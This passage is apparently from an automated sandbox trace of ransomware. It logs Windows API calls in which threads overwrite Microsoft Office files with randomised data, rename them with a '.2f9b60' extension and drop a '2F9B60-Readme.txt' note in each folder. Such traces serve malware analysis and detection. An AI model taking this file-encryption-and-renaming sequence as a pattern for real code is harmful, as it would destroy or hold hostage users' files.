nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2569f630, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2569f630*=0xba9, lpOverlapped=0x0) returned 1 [0147.259] CloseHandle (hObject=0x1fc4) returned 1 [0147.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c5b0) returned 1 [0147.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac840) returned 1 Thread: id = 1818 os_tid = 0xeac [0132.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimagemask.bmp")) returned 0x20 [0132.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp", dwFileAttributes=0x20) returned 1 [0132.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\createspaceimagemask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b0c [0132.616] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x2a0ffe20 | out: lpFileSize=0x2a0ffe20*=3960) returned 1 [0132.616] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0xf74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.616] ReadFile (in: hFile=0x1b0c, lpBuffer=0x2a0ffda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a0ffde8, lpOverlapped=0x0 | out: lpBuffer=0x2a0ffda0*, lpNumberOfBytesRead=0x2a0ffde8*=0x4, lpOverlapped=0x0) returned 1 [0132.621] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d80 [0132.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d50 [0132.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0132.622] NtQuerySystemTime (in: CurrentTime=0x2a0ffce0 | out: CurrentTime=0x2a0ffce0*=132462177378646000) returned 0x0 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x65f4deeb [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x6e48b2ba [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x22d3c604 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x4411e297 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x28955106 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x6e77a545 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x74de5c09 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x2cc6d80 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0xfc7a354 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x3d1b7b08 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x7c9aeaed [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x26a2cbc4 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0xeab5155 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x19c468c [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x1b0ca83b [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x13d5bf1e [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x4480573 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x37cfbcd4 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x1af5501 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x1ca20f61 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x2d4e1840 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x6d1def37 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x1402387b [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x794e66ad [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x4b0cb642 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x512add07 [0132.622] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x60cbd395 [0132.623] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x402425d7 [0132.623] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x2d690264 [0132.623] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x202d594f [0132.623] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x38032194 [0132.623] RtlRandomEx (in: Seed=0x2a0ffcd0 | out: Seed=0x2a0ffcd0) returned 0x605601c7 [0132.634] ReadFile (in: hFile=0x1b0c, lpBuffer=0x1cf0eee0, nNumberOfBytesToRead=0xf78, lpNumberOfBytesRead=0x2a0ffcd0, lpOverlapped=0x0 | out: lpBuffer=0x1cf0eee0*, lpNumberOfBytesRead=0x2a0ffcd0*=0xf78, lpOverlapped=0x0) returned 1 [0132.634] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.634] WriteFile (in: hFile=0x1b0c, lpBuffer=0x41bcc1b0*, nNumberOfBytesToWrite=0xf78, lpNumberOfBytesWritten=0x2a0ffcd4, lpOverlapped=0x0 | out: lpBuffer=0x41bcc1b0*, lpNumberOfBytesWritten=0x2a0ffcd4*=0xf78, lpOverlapped=0x0) returned 1 [0132.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e40 [0132.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e70 [0132.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e70) returned 1 [0132.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bcc1b0) returned 1 [0132.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf0eee0) returned 1 [0132.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0132.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd974e0 [0132.639] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.639] WriteFile (in: hFile=0x1b0c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2a0ffdf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x2a0ffdf0*=0x122, lpOverlapped=0x0) returned 1 [0132.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0132.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a80) returned 1 [0132.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e70) returned 1 [0132.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e40) returned 1 [0132.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d50) returned 1 [0132.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0132.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e10) returned 1 [0132.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x107780 [0132.651] wcscpy (in: _Dest=0x107780, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp" [0132.651] wcscat (in: _Dest=0x107780, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp.2f9b60" [0132.651] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp.2f9b60", NtPathName=0x2a0ffe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CreateSpaceImageMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1b776770 [0132.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0132.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd230) returned 1 [0132.654] NtQueryInformationFile (in: FileHandle=0x1b0c, IoStatusBlock=0x2a0ffe78, FileInformation=0x2a0ffe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a0ffe78, FileInformation=0x2a0ffe88) returned 0x0 [0132.654] NtSetInformationFile (FileHandle=0x1b0c, IoStatusBlock=0x2a0ffe78, FileInformation=0x2a0ffe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0132.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0132.656] FlushFileBuffers (hFile=0x1b0c) returned 1 [0138.527] CloseHandle (hObject=0x1b0c) returned 1 [0139.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b8625c0 [0139.110] wcscpy (in: _Dest=0x1b8625c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0139.110] wcscat (in: _Dest=0x1b8625c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0139.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0xffffffff [0139.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b6c [0147.160] WriteFile (in: hFile=0x1b6c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2a0ffd30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2a0ffd30*=0xba9, lpOverlapped=0x0) returned 1 [0147.256] CloseHandle (hObject=0x1b6c) returned 1 [0147.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8625c0) returned 1 [0147.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad130) returned 1 Thread: id = 1819 os_tid = 0xd3c [0132.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg")) returned 0x20 [0132.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg", dwFileAttributes=0x20) returned 1 [0132.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b10 [0132.660] GetFileSizeEx (in: hFile=0x1b10, lpFileSize=0x29dbf860 | out: lpFileSize=0x29dbf860*=5831) returned 1 [0132.660] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x16c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.660] ReadFile (in: hFile=0x1b10, lpBuffer=0x29dbf7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29dbf828, lpOverlapped=0x0 | out: lpBuffer=0x29dbf7e0*, lpNumberOfBytesRead=0x29dbf828*=0x4, lpOverlapped=0x0) returned 1 [0132.667] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e10 [0132.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0132.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d50 [0132.668] NtQuerySystemTime (in: CurrentTime=0x29dbf720 | out: CurrentTime=0x29dbf720*=132462177379114000) returned 0x0 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x1a92ec79 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x238e146 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x7d6563af [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x34aa76a7 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x46679b20 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x610a93b6 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x1b4d4e51 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x5f62d96a [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x42e15f46 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x165ef637 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x9e17386 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x1f5ac39f [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x2d980279 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0xe1948ce [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x1ce48ec9 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x3a3fc1a5 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x630309eb [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x255e105a [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x4da04cc3 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x1c96cfc8 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x564eafb1 [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x78e70afe [0132.668] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x443f15fb [0132.669] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x3813feb9 [0132.669] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x4a2fe294 [0132.669] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x51075b66 [0132.669] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x4f6d3067 [0132.669] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x48a21151 [0132.669] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x49c0ea96 [0132.669] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x76e49946 [0132.669] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x17d8071b [0132.669] RtlRandomEx (in: Seed=0x29dbf710 | out: Seed=0x29dbf710) returned 0x4afc753a [0132.680] ReadFile (in: hFile=0x1b10, lpBuffer=0x1cf0eee0, nNumberOfBytesToRead=0x16c7, lpNumberOfBytesRead=0x29dbf710, lpOverlapped=0x0 | out: lpBuffer=0x1cf0eee0*, lpNumberOfBytesRead=0x29dbf710*=0x16c7, lpOverlapped=0x0) returned 1 [0132.696] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.696] WriteFile (in: hFile=0x1b10, lpBuffer=0x41bcc1b0*, nNumberOfBytesToWrite=0x16c7, lpNumberOfBytesWritten=0x29dbf714, lpOverlapped=0x0 | out: lpBuffer=0x41bcc1b0*, lpNumberOfBytesWritten=0x29dbf714*=0x16c7, lpOverlapped=0x0) returned 1 [0132.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d80 [0132.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0132.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266db0) returned 1 [0132.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bcc1b0) returned 1 [0132.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf0eee0) returned 1 [0132.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0132.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd974e0 [0132.711] SetFilePointerEx (in: hFile=0x1b10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.711] WriteFile (in: hFile=0x1b10, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x29dbf830, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x29dbf830*=0x11e, lpOverlapped=0x0) returned 1 [0132.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0132.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0132.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266db0) returned 1 [0132.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0132.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d80) returned 1 [0132.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0132.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e40) returned 1 [0132.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e70) returned 1 [0132.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106c40 [0132.727] wcscpy (in: _Dest=0x106c40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg" [0132.727] wcscat (in: _Dest=0x106c40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg.2f9b60" [0132.727] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg.2f9b60", NtPathName=0x29dbf850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776770 [0132.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0132.729] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceccba0) returned 1 [0132.729] NtQueryInformationFile (in: FileHandle=0x1b10, IoStatusBlock=0x29dbf8b8, FileInformation=0x29dbf8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x29dbf8b8, FileInformation=0x29dbf8c8) returned 0x0 [0132.729] NtSetInformationFile (FileHandle=0x1b10, IoStatusBlock=0x29dbf8b8, FileInformation=0x29dbf8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0132.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106c40) returned 1 [0132.730] FlushFileBuffers (hFile=0x1b10) returned 1 [0138.529] CloseHandle (hObject=0x1b10) returned 1 [0138.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c450 [0138.586] wcscpy (in: _Dest=0x2050c450, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0138.586] wcscat (in: _Dest=0x2050c450, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0138.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0xffffffff [0139.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d9c [0147.168] WriteFile (in: hFile=0x1d9c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x29dbf770, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x29dbf770*=0xba9, lpOverlapped=0x0) returned 1 [0147.257] CloseHandle (hObject=0x1d9c) returned 1 [0147.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c450) returned 1 [0147.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad080) returned 1 Thread: id = 1820 os_tid = 0xc4c [0132.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimagesmask.bmp")) returned 0x20 [0132.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0132.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\datalisticonimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b14 [0132.665] GetFileSizeEx (in: hFile=0x1b14, lpFileSize=0x296bfcc0 | out: lpFileSize=0x296bfcc0*=1800) returned 1 [0132.665] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.665] ReadFile (in: hFile=0x1b14, lpBuffer=0x296bfc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x296bfc88, lpOverlapped=0x0 | out: lpBuffer=0x296bfc40*, lpNumberOfBytesRead=0x296bfc88*=0x4, lpOverlapped=0x0) returned 1 [0132.680] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e10 [0132.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d50 [0132.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c60 [0132.681] NtQuerySystemTime (in: CurrentTime=0x296bfb80 | out: CurrentTime=0x296bfb80*=132462177379270000) returned 0x0 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x6033b4f6 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x6a79999a [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x34f392f3 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x7e7668c7 